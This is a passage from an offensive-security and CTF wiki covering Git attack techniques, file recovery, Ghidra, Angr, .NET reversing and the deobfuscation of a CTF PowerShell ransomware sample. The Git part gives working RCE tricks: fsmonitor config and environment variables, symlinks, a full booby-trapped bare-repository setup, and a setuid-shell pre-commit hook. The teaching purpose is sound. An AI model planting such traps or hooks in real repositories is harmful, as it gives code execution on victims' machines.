pip install git-dumper
git-dumper http://example.com/.git git/
```

Then use the source code to perform more targeted attacks, or look for secrets, even in history:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ git log -p  # Show commits with diffs
</strong>...
+++ b/secret.py
@@ -0,0 +1,85 @@
+access_key_id = "AKIA6CFMOGSLALOPETMB"
+secret_access_key = "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"
+region = "us-east-2"
...
<strong>$ git branch -a  # List all branches
</strong>* master
  development
</code></pre>

The [`trufflehog`](https://github.com/trufflesecurity/trufflehog) tool can also be useful for large repositories where manually searching would take too long. It has a few built-in formats for credentials like private keys or AWS secrets. Run it locally on a cloned repository like this:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ trufflehog git file://.
</strong>Found unverified result 🐷🔑❓
Detector Type: PrivateKey
Raw result: -----BEGIN RSA PRIVATE KEY-----
...
-----END RSA PRIVATE KEY-----
Line: 1
Commit: cb137d3139ab74d7ef5c4460f41c95d89fe3e514
File: id_rsa
Email: root@example.com
# Or on a remote GitHub URL
<strong>$ trufflehog git https://github.com/trufflesecurity/test_keys
</strong># Check out GitHub README for more examples
</code></pre>

{% hint style="info" %}
**Tip**: The `.git/config` file may not be cloned, but if found locally, can contain git credentials used to push and pull to a remote origin. These may be re-used elsewhere or allow you to explore more of the remote git origin.
{% endhint %}

## Attacking Git Commands (RCE)

Git is a very flexible system, allowing many settings to be changed to decide how CLI tools interact with the repository. These configuration variables can allow executing arbitrary commands however when certain git commands are executed. The `core.fsmonitor` variable in `.git/config` is a common one that can be set to a bash command to execute:

{% code title=".git/config" %}

```diff
[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
+       fsmonitor = "id | tee /tmp/pwned > /dev/tty"
```

{% endcode %}

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ git status
</strong>uid=1001(user) gid=1001(user) groups=1001(user)
...
</code></pre>

Many shell extensions like [Starship](https://github.com/starship/starship/issues/3974) use `git` to get the current repository and are vulnerable to this, as well as [Visual Studio Code](https://www.sonarsource.com/blog/securing-developer-tools-git-integrations/#example-of-affected-ide-visual-studio-code) (now only with Trusted Mode). To find such issues, you can create a malicious repository with as many landmines as possible that trigger on different commands. This creates an empty repository with most known ways to execute commands:

{% embed url="<https://github.com/jwilk/git-landmine>" %}
Create a repository with `.git/config` and `hooks` GIT landmines (`lib/payload` = payload)
{% endembed %}

This same config variable can be set via environment variables:

```bash
export GIT_CONFIG_COUNT=1
export GIT_CONFIG_KEY_0=core.fsmonitor
export GIT_CONFIG_VALUE_0="id | tee /tmp/pwned > /dev/tty"
git status
```

A bunch more techniques like it are described in the following article:

{% embed url="<https://nopnop.pro/2026/06/17/exploiting-git-integrations-in-cloud-services/>" %}
Various tricks including bare repos, symlinks and argument injection
{% endembed %}

### Symlinks

A little-known feature of git is that symlinks can also be tracked, with **any destination**, even outside the worktree. If some application reads or writes files after cloning a malicious repository, that can follow symlinks and read/write into the broader filesystem.

<pre class="language-shellscript" data-title="Git repository containing symlinks" data-overflow="wrap"><code class="lang-shellscript">$ git init
<strong>$ ln -s /etc/passwd link
</strong><strong>$ ln -s .git link2
</strong>$ git add .
$ git commit -m "Initial commit"
$ ls -alF
drwxr-xr-x  8 j0r1an j0r1an  4096 Aug  9 17:13 .git/
<strong>lrwxrwxrwx  1 j0r1an j0r1an    11 Aug  9 17:12 link -> /etc/passwd
</strong><strong>lrwxrwxrwx  1 j0r1an j0r1an     4 Aug  9 17:12 link2 -> .git
</strong></code></pre>

{% hint style="info" %}
**Tip**: This combines well with the `fsmonitor` trick. If you can write to `.git/config` this way through `link2/config` in the above example, you'll achieve RCE on the next git command.
{% endhint %}

Most remotes (e.g. GitHub) fully support storing this. They won't be sanitized when you clone from such a source. Applications that automatically clone malicious repositories can miss this fact. This is a great way to get symlinks on the target filesystem.

Git by design also supports updating files. Updating a repository, for example, can swap one file for a symlink. This could let you perform TOCTOU exploits ([Race Conditions](/binary-exploitation/race-conditions#filesystem)) where you'd normally require low-privilege shell access to write symlinks. With git you can swap them out at will!

### Bare repositories

While most repositories in Git have a `.git` folder containing the metadata, there exists another format where you don't need such a folder: a *bare* repository. Its contents look like when you're inside a `.git` folder but with just some different options in `config`.

Git recognizes both by first looking for `.git/HEAD`, and if that doesn't exist, checks if the current directory resembles a bare repository (`HEAD`, etc.). We can turn a bare repo into a trap just like regular repo's by making two changes to the config:

{% code overflow="wrap" %}

```diff
[core]
        repositoryformatversion = 0
        filemode = true
-       bare = true
+       bare = false
+       worktree = "worktree"
```

{% endcode %}

The "worktree" is the directory where the actual files are stored that git tracks. We've just told Git it can find that directory at `./worktree`, so we need to create it. To ensure the currently empty directories are kept, we should fill them. What better way than to just create a single commit with our payload in it.

The final process looks something like this with the `sh` payload stored in `worktree/pwn`:

{% code title="Setup" overflow="wrap" %}

```bash
cd $(mktemp -d)
git init --bare
sed -i 's/bare = true/bare = false/' config
echo -e '\tworktree = "worktree"' >> config
mkdir worktree
echo 'id' > worktree/pwn
git add .
git commit -m "Add pwn"
echo -e '\tfsmonitor = "sh pwn>&2;false"' >> config
git init
git add .
git commit -m "Initial commit"
```

{% endcode %}

You can now push this repo to any remote, or host it yourself on `127.0.0.1` with the following command:

{% code title="Attacker host" overflow="wrap" %}

```bash
git daemon --verbose --export-all --base-path=.
```

{% endcode %}

Any victim who now clones this repository and deletes a critical git file like `.git/HEAD` opens themselves up for RCE on the next git command:

<pre class="language-shellscript" data-title="Victim" data-overflow="wrap"><code class="lang-shellscript">$ git clone git://127.0.0.1/ &#x26;&#x26; cd 127.0.0.1
<strong>$ rm .git/HEAD
</strong>$ git status
uid=1000(user) gid=1000(user) groups=1000(user)
</code></pre>

An idea where this applies to Git wrappers perfectly is with directory deletion/cleanup. In the following example, RyotaK performed a **Race Condition** in deleting a repository where files were deleted **one by one**. This made it possible to trigger a git command while the `.git` directory was deleted, but none of the fake bare repo files were yet.\
They could extend this gap by adding large directories that take a while to delete in between `.git` and our bare repo files (similar to [Race Conditions](/binary-exploitation/race-conditions#increasing-the-window), but including timing samples to find the deterministic deletion order and inject one perfect directory).

{% embed url="<https://flatt.tech/research/posts/remote-command-execution-in-google-cloud-with-single-directory-deletion/>" %}
Race condition in repository cleanup exploitable through fake bare repo
{% endembed %}

### Git Hooks

There is another feature called "hooks" that allow you to run bash scripts when a certain action happens with the repository. When a `git commit` is executed, for example, the `pre-commit` hook gets triggered. If you can write these hooks you can let whoever runs the `git commit` execute arbitrary commands.

You can find these hooks in the `.git/hooks` directory. If you are able to write a `pre-commit` file here, you can put any executable file in its place and it will be run on commit:

{% code title=".git/hooks/pre-commit" %}

```bash
#!/bin/bash
cp /bin/bash /tmp/bash; chmod +xs /tmp/bash
```

{% endcode %}

Then just make sure the file is actually executable with `chmod`:

```shellscript
chmod +x pre-commit
```

## Git Snippets

If you're running a git repository, you might need some complicated actions from time to time. This is a collection of some common actions as commands to quickly copy and paste.

{% code title="Push to remote origin" %}

```shellscript
git remote add origin https://github.com/[username]/[repository].git
git branch -M main  # Switch to main branch for GitHub
git push --set-upstream origin main  # Set the default upstream

git push  # From now on, you can just push
```

{% endcode %}

{% code title="Reset all commits" %}

```shellscript
rm -rf .git
git init
git commit -m "Initial commit"
git push --force  # Force to overwrite existing remote
```

{% endcode %}

{% code title="Undo last commit" %}

```shellscript
# If not pushed yet
git reset --soft HEAD~
# If already pushed
git reset HEAD~  # Use --hard to also throw away the changes in the commit
git push --force
```

{% endcode %}

{% code title="Create and push tag" %}

```shellscript
git tag 0.1.0
git push origin --tags  # Push all tags
# More info: https://stackoverflow.com/a/18223354/10508498
```

{% endcode %}


# File Recovery

Recovering content of deleted files

Find disks using `mount` and looking for `sd[a-z]`:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ mount
</strong>/dev/sdb on / type ext4 (rw,relatime,discard,errors=remount-ro,data=ordered)
...
</code></pre>

Then grep for any known text:

```shell-session
sudo grep -a -C 200 -F 'Insert text here' /dev/sdb | tee /tmp/recovered
```

This will output a lot of garbage as well, so you can then filter on ASCII lines only:

```shell-session
grep --color=never -aoP '^[[:ascii:]]*$' /tmp/recovered
```


# Ghidra

A reverse engineering tool made by the NSA with a powerful decompiler

For a practical introduction to a few useful techniques in Ghidra see my post here:

{% embed url="<https://jorianwoltjer.com/blog/p/stories/introduction-to-reverse-engineering-with-ghidra>" %}
An introduction to using Ghidra for Reverse Engineering
{% endembed %}


# Angr Solver

A binary analysis tool in Python to automatically find paths to code

[Angr](https://github.com/angr/angr) is really useful for quickly solving some Reverse Engineering challenges. The most useful function allows you to define an address in a Linux binary, and it will run the binary with different inputs to slowly make progress toward that goal.

For a CTF challenge, you could point the goal to be after some if statements that you would otherwise have to reverse engineer. Then Angr will find a valid input that gets to the code after the if statements, solving the challenge for you.

{% embed url="<https://flagbot.ch/material/#lesson-5-constraint-solving-and-symbolic-execution-13-april-2020>" %}
A presentation about Z3 and Angr that shows practical code
{% endembed %}

## Template

This template lets Angr do the magic to solve it automatically without much effort, but for more advanced examples see [their documentation](https://docs.angr.io/examples).

```python
import angr

# Change this binary
project = angr.Project("./binary", auto_load_libs=False)

@project.hook(0x401337)  # Change this address to your target
def print_flag(state):
    print("Valid input:", state.posix.dumps(0))
    project.terminate_execution()

project.execute()
```

### Examples

When you can and can't use Angr is something you just need to get a feel for, by trying it sometimes and seeing if it works. In most cases, you're looking for some check on an input you're giving, and finding how to get past that if statement is a tedious process. Here are some examples of decompiled code where Angr could be used:

{% code title="Example 1" %}

```c
undefined8 main(void) {
  uint uVar1;
  int local_10;
  int local_c;
  
  printf("Enter the flag: ");
  __isoc99_scanf(&DAT_00102015,buf);
  for (local_c = 0; local_c < 0x1d; local_c = local_c + 1) {
    uVar1 = (uint)(local_c >> 0x1f) >> 0x1e;
    buf[local_c] = buf[local_c] ^
                   *(byte *)((long)&magic + (long)(int)((local_c + uVar1 & 3) - uVar1));
  }
  local_10 = 0;
  while( true ) {
    if (0x1c < local_10) {  // Hard if statement (computation in the for() loop above)
      puts("Correct flag!");
      // <--- TARGET Angr right here
      // Ghidra shows 0x00101231, and starts by default at 0x00100000, meaning
      // we're only 0x1231 into the binary. When Angr runs a program with PIE enabled,
      // it starts at 0x00400000. So the final address we target is 0x00401231
      return 0;
    }
    if (buf[local_10] != flag[local_10]) break;
    local_10 = local_10 + 1;
  }
  puts("Wrong flag!");
  return 0;
}
```

{% endcode %}

{% code title="Example 2" %}

```c
undefined8 validatePassword(byte *param_1) {
  size_t sVar1;
  undefined8 uVar2;
  
  sVar1 = strlen((char *)param_1);
  // Hard if statement:
  if ((((((sVar1 == 0x21) && (*param_1 == (byte)(param_1[6] * '\x02' - 0x1d))) &&
        (param_1[1] == (byte)(param_1[0x13] + 5))) &&
       (((param_1[2] == (byte)(((char)param_1[8] >> 1) + 0x13U) &&
         (param_1[3] == (byte)(param_1[0xf] + 0x35))) &&
        ((param_1[4] == (byte)(param_1[3] + 0xbc) &&
         ((param_1[5] == (byte)(param_1[0x11] + 0x28) && (param_1[6] == (char)param_1[0x16] >> 1))))
        )))) && (param_1[7] == (param_1[0xb] ^ param_1[0x15]))) &&
     (((((((param_1[8] == (param_1[5] ^ 7) && (param_1[9] == (byte)(param_1[0xe] - 0x21))) &&
          (param_1[10] == (byte)(param_1[0x1e] + 7))) &&
         ((param_1[0xb] == (byte)(param_1[0x10] * '\x02') &&
          (param_1[0xc] == (byte)(param_1[0x1d] + param_1[9]))))) && (param_1[0xd] == 0x31)) &&
       ((((param_1[0xe] == (byte)(param_1[0x1d] * '\x02' + 3) && (param_1[0xf] == (*param_1 ^ 5)))
         && (((param_1[0x10] == (byte)(((char)param_1[0x12] >> 1) * '\x02') &&
              (((param_1[0x11] == (param_1[0x14] ^ 0x40) && (param_1[0x12] == (param_1[0x17] ^ 10)))
               && (param_1[0x13] == (byte)(param_1[7] - 2))))) &&
             (((param_1[0x14] == (param_1[10] ^ param_1[0x1c]) &&
               (param_1[0x15] == (char)param_1[0x19] >> 1)) &&
              (param_1[0x16] == (byte)((param_1[0x1f] | 0x61) - 2))))))) &&
        ((param_1[0x17] == 0x39 && (param_1[0x18] == (byte)(param_1[0x12] * '\x02'))))))) &&
      (((param_1[0x19] == (byte)(param_1[0x10] + param_1[0x1a]) &&
        (((param_1[0x1a] == (byte)((char)param_1[0xb] / '\x02' + 7U) &&
          (param_1[0x1b] == (byte)((param_1[4] + 0x7b) * '\x02'))) &&
         (param_1[0x1c] == (byte)(param_1[1] - 0x13))))) &&
       (((param_1[0x1d] == (byte)(param_1[0x20] + 0xb3) &&
         (param_1[0x1e] == (byte)(param_1[0x1f] - param_1[0x10]))) &&
        ((param_1[0x1f] == (byte)(param_1[0xd] * '\x02' + 1) &&
         (param_1[0x20] == (byte)(param_1[4] + param_1[0xf]))))))))))) {
    uVar2 = 1;  // <--- TARGET Angr here, right after the if statement when
                // validatePassword() returns 1
  }
  else {
    uVar2 = 0;
  }
  return uVar2;
}
```

{% endcode %}

{% file src="/files/pm1RONIQhApnEuHcqnUA" %}
Another example of the [CrackThePassword](https://ctftime.org/task/23067) challenge solved with Angr
{% endfile %}

One more writeup of a reversing challenge that was easily solved using Angr:

{% embed url="<https://jorianwoltjer.com/blog/p/ctf/cyber-apocalypse-2023/cave-system>" %}


# Reversing C# - .NET / Unity

Reverse Engineering executable files compiled with C# .NET (including Unity)

[.NET](https://dotnet.microsoft.com/en-us/) is a framework to build executable programs, mainly used for Windows and GUI programs. You write code in C# and compile programs into executable binaries.

For Reverse Engineering, there are a few tools that allow you to examine these compiled binaries, and try to decompile code back into C#.

The [Unity game engine](https://unity.com/) also uses this framework to run its games, and the tools explained here can be very useful in Reverse Engineering them. If the game is not protected against this, you can easily open the game's `_Data/Managed/Assembly-CSharp.dll` file which contains the main logic of the program, with all its classes and methods.

## dnSpy

{% embed url="<https://github.com/dnSpy/dnSpy>" %}
.NET debugger, decompiler and editor
{% endembed %}

DNSpy is one of the most powerful tools, as it allows you to go into very low levels of how the .NET binary is made up. It also can be used to dynamically **debug** a program by running it and settings breakpoints.

To get started, simply open the 32-bit or 64-bit version depending on the bits of the executable you want to decompile. Then drag in the file on the left panel, and you can explore all its contents.

{% hint style="warning" %}
You might only see `PE`, followed by some headers and sections, without any decompiled C# code. In this case, dnSpy does not understand the executable and cannot decompile it, but using [#ilspy](#ilspy "mention") you might still be able to do so
{% endhint %}

dnSpy is mostly used for interactive debugging. When you have the code in front of you, you can click to the left of any line to set a breakpoint there. When you then press the ![](/files/yOI5Ltb22VXXvHkI2b33) button you can run the program and stop at any breakpoints you set to examine the current state. Then on the bottom panel, you should see **Locals**, and **Call Stack** to view variables and functions currently in use.

You can also use the **C# Interactive** panel to quickly execute C# code in order to evaluate strange expressions for example.

### Patching Code

One of dnSpy's greatest powers comes from the ability to change (patch) classes and methods in order to make the code do whatever you want. If there is some `if` statement password check you want to get through, just patch it to be always true! Or the client telling you you can only jump on the ground, remove the check and fly away!

While having an Assembly loaded, you can right-click any class or method and choose **Edit Class** or **Edit Method** to open up a new window. In it, you can rewrite the code however you want. Remove code, add new `using` imports, whatever is needed to make your idea work. Then, after the object is edited how you would like, you can **Compile** which will validate the code, and then use **File -> Save Module** to export the code back to an Assembly (`.dll`).

This opens up many possibilities as developers may not expect you to be able to change a program this easily. In `MonoBehaviour` (Unity) classes, specifically there are a few interesting methods that are worth knowing to understand the code better, and to decide a good spot for any extra code you write.\
First the `Start()` method every class has. This method is unsurprisingly called at the **start** of its lifetime, meaning when it is first spawned in. It often contains setup or otherwise one-time code and may be useful if you just want to run some piece of code you wrote to perform a specific action. For example, using the `LoadScene()` function to load in a specific scene you want to look at. You could write a piece of code like this:

<pre class="language-csharp"><code class="lang-csharp"><strong>using UnityEngine.SceneManagement;  // Import required
</strong>
public class SomeScript : MonoBehaviour
{
    private void Start()
    {
<strong>        SceneManager.LoadScene(42);  // Load the level42 asset (from ..._Data)
</strong>    }
}
</code></pre>

Another useful method is `Update()`, which is called on **every frame** to update the scene. Many objects have this method to keep values up to date or a player controller that detects keypresses and controls your movement. These are often useful if you want to *change* what the code does, as the biggest functionality is often found in these methods. Think of removing checks, adding extra functionality, or anything else.

## ILSpy

{% embed url="<https://github.com/icsharpcode/ILSpy>" %}
.NET decompiler supporting many different formats
{% endembed %}

ILSpy is a completely separate tool from dnSpy, while it looks pretty similar. Its main purpose is decompiling the executable into C# code, and then reading and understanding the code for yourself. It also allows you to read strings and objects that are compiled with the executable.

To get started, simply drag an executable file into the left panel, and it will load everything that is needed. Then you can click on the `+` icons to expand all different parts.

The `{ }` icon before a name means that it contains **code**, so these might be interesting for understanding what actions the program takes.

Another useful part is the **Metadata**. This contains various lists including the **String Heap** and **UserString Heap**. These lists may contain strings the program uses, such as secret keys, commands, or other code. They may prove to be very useful and are worth the time to check out.\
Note that there are more kinds of heaps in this list, with different types of data.

## JetBrains dotPeek

{% embed url="<https://www.jetbrains.com/decompiler/>" %}
Official dotPeek download page
{% endembed %}

JetBrains primarily make software and tools for programmers to use, in many different programming languages. They also have a **free** .NET Decompiler and Assembly Browser, as linked above.

On the base, it does the same as any .NET decompiler, as it will show you the code and allow you to browse through it. But it also has a powerful analysis engine to find usages of functions or variables in other parts of the code.

One thing most .NET decompilers miss is the ability to search through the source code as if you had the source files, to find specific keywords or anything else. dotPeek allows you to **export the decompilation as a project**, where you get the full decompiled source and can search though it in any way you want. To do this, simply import an assembly and right-click on its name in the **Assembly Explorer** and choose **Export to Project**:

<figure><img src="/files/HKEkkqcWnl6ryT2DaiYB" alt=""><figcaption><p><strong>Assembly Explorer</strong> -> <strong>Export to Project</strong></p></figcaption></figure>

Choose a directory to write the source files to, and when it is finished you can find the `.cs` files together with some configuration files it could recover.

## Unity

Specifically for Unity games, the following tool implements an easy GUI for exploring all *levels* stored in a game, and lets you navigate the camera, as well as see *object properties*. There are many more features for debugging explained in the README:

{% embed url="<https://github.com/originalnicodr/CinematicUnityExplorer>" %}

1. Download MelonLoader: <https://melonloader.co/download.html>
2. Click *Add Game Manually* in the installer, and choose your game's `.exe` file
3. Click on the game you just added, then select version `0.5.7` and press *Install*
4. Depending on if your game is [Mono](https://github.com/originalnicodr/CinematicUnityExplorer/releases/latest/download/CinematicUnityExplorer.MelonLoader.Mono.zip) or [IL2CPP](https://github.com/originalnicodr/CinematicUnityExplorer/releases/latest/download/CinematicUnityExplorer.MelonLoader.IL2CPP.zip), download the CinematicUnityExplorer ZIP
5. Extract it into the game's root directory
6. Launch the game's `.exe`. Now MelonLoader should be installed, allowing you to inspect everything, and fly around with Freecam


# PowerShell

Deobfuscate heavily-obfuscated PowerShell scripts to find their source code

Obfuscating PowerShell is a real art, and there are many ways to encode scripts in weird ways. Luckily, most of them work in the same way: 1. **Decoding some string** and 2. **Executing that string** as another stage in the script.

Often this is a task of finding the part that *executes* the code, removing it, and instead printing the code so you can analyze it further.

I will explain this process with an **example**. This is taken from the *NahamConCTF 2023 - IR* challenge, which provided the following PowerShell script:

{% file src="/files/dgwTqaLmVW45uKsjmmVc" %}
Obfuscated PowerShell script from the *NahamConCTF 2023 - IR* challenge
{% endfile %}

It starts off with a lot of special characters that are supposed to evaluate into something:

{% code overflow="wrap" fullWidth="false" %}

```powershell
${;}=+$();${=}=${;};${+}=++${;};${@}=++${;};${.}=++${;};${[}=++${;}; ${]}=++${;};${(}=++${;};${)}=++${;};${&}=++${;};${|}=++${;}; ${"}="["+"$(@{})"[${)}]+"$(@{})"["${+}${|}"]+"$(@{})"["${@}${=}"]+"$?"[${+}]+"]"; ${;}="".("$(@{})"["${+}${[}"]+"$(@{})"["${+}${(}"]+"$(@{})"[${=}]+"$(@{})"[${[}]+"$?"[${+}]+"$(@{})"[${.}]); ${;}="$(@{})"["${+}${[}"]+"$(@{})"[${[}]+"${;}"["${@}${)}"]; "${"}${.}${(}+${"}${]}${)}+${"}${)}${@}+${"}${+}${+}${&}+${"}${+}${+}${(}+${"}${)}${)}+${"}${)}${=}+${"}${|}${&}+${"}${(}${)}+${"}${]}${=}+${"}${&}${@}+${"}${)}${+}+${"}$
...
```

{% endcode %}

A common way to make a little sense of this is to format it, like adding **newlines** after `;` semicolons. In this case, however, there are semicolons used all over the place, not just as statement enders. To do this more cleanly we'll use the [`PowerShell-Beautifier`](https://github.com/DTW-DanWard/PowerShell-Beautifier) script to parse and format these statements, which will then allow us to separate a `${;}` from a `;` as only the second has a space after it.

```powershell
PS> Install-Module -Name PowerShell-Beautifier
PS> Edit-DTWBeautifyScript -Source .\updates.ps1 -Destination .\stage0.ps1
```

When we afterward replace `;` with `;\n` in an IDE like Visual Studio Code, we find a more slightly more readable script:

```powershell
${;} = + $(); 
${=} = ${;}; 
${+} =++ ${;}; 
${@} =++ ${;}; 
${.} =++ ${;}; 
${[} =++ ${;}; 
${]} =++ ${;}; 
${(} =++ ${;}; 
${)} =++ ${;}; 
${&} =++ ${;}; 
${|} =++ ${;}; 
${"} = "[" + "$(@{})"[${)}] + "$(@{})"["${+}${|}"] + "$(@{})"["${@}${=}"] + "$?"[${+}] + "]"; 
${;} = "".("$(@{})"["${+}${[}"] + "$(@{})"["${+}${(}"] + "$(@{})"[${=}] + "$(@{})"[${[}] + "$?"[${+}] + "$(@{})"[${.}]); 
${;} = "$(@{})"["${+}${[}"] + "$(@{})"[${[}] + "${;}"["${@}${)}"]; 
"${"}${.}${(}+${"}${]}${)}+${"}${)}${@}+${"}${+}${+}${&}+${"}${+}${+}${(}+${"}${)}${)}+${"}${)}${=}+${"}${|}${&}+${"}${(}${)}+${"}${]}${=}+${"}${&}${@}+${"}${)}${+}+${"}${)}${[}+${"}${&}${&}+${"}${]}${[}+${"}${&}${|}+${"}${)}${|}+${"}${(}${]}+${"}${&}${.}+${"}${+}${=}${(}+${"}${)}${&}+${"}${+}
...
```

First, it defines a few variables with the `${}` syntax, and after, it uses those variables in a giant string. The first few variables are some primitives, and the last 3 variables seem to be more complicated but still short. We could statically try to reason with this, but a much simpler way would be to just let PowerShell **evaluate** it for us. Let's run the first few lines making sure nothing can trigger a payload on our investigating machine:

<pre class="language-powershell"><code class="lang-powershell">${;} = + $(); 
${=} = ${;}; 
${+} =++ ${;}; 
${@} =++ ${;}; 
${.} =++ ${;}; 
${[} =++ ${;}; 
${]} =++ ${;}; 
${(} =++ ${;}; 
${)} =++ ${;}; 
${&#x26;} =++ ${;}; 
${|} =++ ${;}; 
${"} = "[" + "$(@{})"[${)}] + "$(@{})"["${+}${|}"] + "$(@{})"["${@}${=}"] + "$?"[${+}] + "]"; 
${;} = "".("$(@{})"["${+}${[}"] + "$(@{})"["${+}${(}"] + "$(@{})"[${=}] + "$(@{})"[${[}] + "$?"[${+}] + "$(@{})"[${.}]); 
${;} = "$(@{})"["${+}${[}"] + "$(@{})"[${[}] + "${;}"["${@}${)}"]; 

<strong>PS> ${"}
</strong>[CHar]
<strong>PS> ${;}
</strong>iex
</code></pre>

Here we find a very important string: `iex` which means **I**nvoke-**Ex**pression. This will take a string, and execute it as PowerShell code, which is very common for these obfuscators. We need to be careful to **remove** this part to make sure our code is not actually run, only the string is evaluated for us.

All the way at the end of the script we find:

```bash
...${]}${|}|${;}" | &${;};
```

We will remove this `${;}` now that we know it means to evaluate and run the code, and instead replace it with a `Write-Output` command which simply prints it to the console:

```bash
...${]}${|}|${;}" | Write-Output
```

Running this safe script now prints the next stage of the script, obfuscated in a different way:

<pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell"><strong>PS> .\stage0.ps1 > stage1.ps1
</strong>
[CHar]36+[CHar]57+[CHar]72+[CHar]118+[CHar]116+[CHar]77+[CHar]70+[CHar]98+[CHar]67+[CHar]50+[CHar]82+[CHar]71+[CHar]74+[CHar]88+[CHar]54+[CHar]89+[CHar]79+[CHar]65+[CHar]83+[CHar]106+[CHar]78+[CHar]101+[CHar]66+[CHar]120+[CHar]32+[CHar]61+[CHar]32+[CHar]34+[CHar]61+[CHar]107+[CHar]105+[CHar]73+[CHar]119+[CHar]108+[CHar]109+[CHar]101+[CHar]117+[CHar]65+[CHar]51+[CHar]98+[CHar]48+[CHar]116+[CHar]50
...
[CHar]86+[CHar]32+[CHar]59|iex
</code></pre>

It uses a very similar scheme, building out a script and then evaluating it with `iex`, literally this time. In a very similar fashion to last time, we'll simply remove the trigger of the payload and only print it using `Write-Output`:

```
...
[CHar]86+[CHar]32+[CHar]59 | Write-Output
```

When we now execute the safe script, we find another stage:

<pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell"><strong>PS> .\stage1.ps1 > stage2.ps1
</strong>
$9HvtMFbC2RGJX6YOASjNeBx = "=kiIwlmeuA3b0t2clREXzRWYvxmb39GRcJyKyV2c1RyKiw1cyV2cVxlODJCKggGdhBFbhJXZ0lGTtASblRXStUmdv1WZSpQD5R2biRCI5R2bC1CIi42bpRXYyRHbpZGel9SbvNmLyV2ajFGasxWZoNncld3bwVGa05yd3d3LvozcwRHdoJCIpJXVtACdz9GUgQ2boRXZN1CI0NXZ1FXZyJWZX1SZr9mdulkCN0XY0FGRlxWaGBXa6RSPlxWamtHQgQ3YlpmYPRXdw5WStAibvNnSt8GV0JXZ252bDBSPgkHZvJGJK0QKzVGd5JUZslmRwlmekgyZulmc0NFN2U2chJ0bUpjOdRnclZnbvN0Wg0DIhRXYEVGbpZEcppHJK0QZ0lnQgcmbpR2bj5WRtAydhJVLgkiIwlmeuA3b0t2c
...
N3bwBCL9VWdyR3ek0Tey9GdhRmbh1EKyVGdl1WYyFGUblQCK0AKtFmchBVCK0wezVGbpZEdwlncj5WZg42bpR3YuVnZ" ; $OaET = $9HvtMFbC2RGJX6YOASjNeBx.ToCharArray() ; [array]::Reverse($OaET) ; -join $OaET 2>&#x26;1> $null ; $biPIv9ahScgYwGXl0FyV = [SySteM.tExt.EnCOding]::uTf8.GetStRIng([SySTEm.COnVerT]::FrombASe64StRINg("$OaET")) ; $ehyGknDcqxFwCYJz5vfot4T8 = "iN"+"vo"+"Ke"+"-e"+"xP"+"RE"+"ss"+"Io"+"n" ; neW-aLIAs -NAme PwN -VAlUE $ehyGknDcqxFwCYJz5vfot4T8 -forCE ; pWN $biPIv9ahScgYwGXl0FyV ;
</code></pre>

This is another nightmare one-liner, but we'll simply use the `PowerShell-Beautifier` trick together with replacing `;` with `;\n` to make it more readable:

<pre class="language-powershell"><code class="lang-powershell"><strong>PS> Edit-DTWBeautifyScript -Source .\stage2.ps1 -Destination .\stage2.ps1
</strong>
$9HvtMFbC2RGJX6YOASjNeBx = "=kiIwlmeuA3b0t2clREXzRWYvxmb39GRcJyKyV2c1RyKiw1cyV2cVxlODJC...zVGbpZEdwlncj5WZg42bpR3YuVnZ";
$OaET = $9HvtMFbC2RGJX6YOASjNeBx.ToCharArray();
[array]::Reverse($OaET);
-join $OaET 2>&#x26;1 > $null;
$biPIv9ahScgYwGXl0FyV = [System.Text.Encoding]::uTf8.GetStRIng([System.Convert]::FrombASe64StRINg("$OaET"));
$ehyGknDcqxFwCYJz5vfot4T8 = "iN" + "vo" + "Ke" + "-e" + "xP" + "RE" + "ss" + "Io" + "n";
New-Alias -Name PwN -Value $ehyGknDcqxFwCYJz5vfot4T8 -Force;
pWN $biPIv9ahScgYwGXl0FyV;
</code></pre>

Pretty clearly we can read the string concatenation in `$ehyGknDcqxFwCYJz5vfot4T8` is another `Invoke-Expression`. This is assigned to a `New-Alias` as `PwN`. Later we see this alias used on another string, which would be executed as code. So instead, we again replace this with a `Write-Console` to find what it does:

```powershell
$9HvtMFbC2RGJX6YOASjNeBx = "=kiIwlmeuA3b0t2clREXzRWYvxmb39GRcJyKyV2c1RyKiw1cyV2cVxlODJC...zVGbpZEdwlncj5WZg42bpR3YuVnZ";
$OaET = $9HvtMFbC2RGJX6YOASjNeBx.ToCharArray();
[array]::Reverse($OaET);
-join $OaET 2>&1 > $null;
$biPIv9ahScgYwGXl0FyV = [System.Text.Encoding]::uTf8.GetStRIng([System.Convert]::FrombASe64StRINg("$OaET"));
Write-Output $biPIv9ahScgYwGXl0FyV;
```

Running this final stage we find the clean source code:

<pre class="language-powershell"><code class="lang-powershell"><strong>PS>  .\stage2.ps1 > stage3.ps1
</strong>
function encryptFiles{
	Param(
		[Parameter(Mandatory=${true}, position=0)]
		[string] $baseDirectory
	)
	foreach($File in (Get-ChildItem $baseDirectory -Recurse -File)){
		if ($File.extension -ne ".enc"){
			$DestinationFile = $File.FullName + ".enc"
			$FileStreamReader = New-Object System.IO.FileStream($File.FullName, [System.IO.FileMode]::Open)
			...
			$FileStreamWriter.Close()
			Remove-Item -LiteralPath $File.FullName
		}
	}
}
$flag = "flag{892a8921517dcecf90685d478aedf5e2}"
$ErrorActionPreference= 'silentlycontinue'
$user = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name.Split("\")[-1]
encryptFiles("C:\Users\"+$user+"\Desktop")
...
</code></pre>

In this challenge, the flag was found here. But in other cases, you might want to understand the `encryptFiles` function now to find how files are encrypted, and how they can be decrypted.

> For another example that digs more into understanding the payload, see this [walkthrough](https://www.youtube.com/watch?v=GguO_Oc0h5A) of another piece of obfuscated PowerShell malware.


# Reverse Engineering for Pwn

Understand the binary and find vulnerabilities by analyzing it

Binary Exploitation always first starts with understanding the binary. This can be done in two ways, static analysis and/or dynamic analysis. In **static** analysis, you are looking at the **code** of the binary itself, and not yet executing it. With **dynamic** analysis, you are not looking at the code but **running** the binary and trying inputs yourself that might do something interesting. Often the best choice is a combination of both.

## Static analysis

For really simple programs, you might get away with just dumping the assembly code and looking through it:

```shell-session
$ objdump -d ./binary
...
0000000000401405 <main>:
  401405:       55                      push   %rbp
  401406:       48 89 e5                mov    %rsp,%rbp
  401409:       48 83 ec 30             sub    $0x30,%rsp
